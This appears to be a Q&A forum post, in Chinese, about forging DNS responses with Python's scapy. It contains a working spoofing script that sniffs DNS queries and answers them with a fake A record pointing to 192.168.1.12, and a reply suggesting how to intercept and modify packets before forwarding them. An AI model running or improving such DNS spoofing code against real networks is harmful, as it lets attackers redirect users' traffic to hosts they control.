假 DNS 响应

Question

我想用 scapy 创建一个假的 dns 响应，但它不起作用...当我在 Wireshark 中嗅探数据包时，它告诉我数据包是正确的，但 Windows 只是采用真实的响应包思想... 有人可以告诉我如何解决吗？谢谢

import sys
i, o, e = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
def f(packet):
    if DNS in packet and DNSQR in packet :
        return True
    return False
while True:
    a=sniff(lfilter=f,count=1)
    ip = a[0].getlayer(IP)
    dns = a[0].getlayer(DNS)
    pkt = Ether(dst = a[0][Ether].src, src = a[0][Ether].dst)/IP(dst=ip.src, src=ip.dst)/UDP(chksum=None, dport=ip.sport,sport=ip.dport)/DNS(qd=a[0][DNS].qd, qdcount=1, ancount=0, nscount=0, arcount=1, ra = 1, qr = 1, id=dns.id, an = (DNSRR(rrname=dns.qd.qname, type= "A" , ttl=3600, rdata="192.168.1.12")))
    pkt.show()
    for i in range(10):
        sendp(pkt)

Answer 1

你只是在嗅探数据包，如果你想操纵数据包，你应该将它们发送到一个函数，然后将它们转发到目的地。在 Sniff 中使用 prn 属性：

packets = sniff(filter="port 53" , prn=func , count=1) 
def func(packet):
    if packet.haslayer(UDP) and packet.haslayer(DNS):
         manipulate your DNS packet here then forward it

假 DNS 响应

Fake DNS response

python

sockets

dns

response

scapy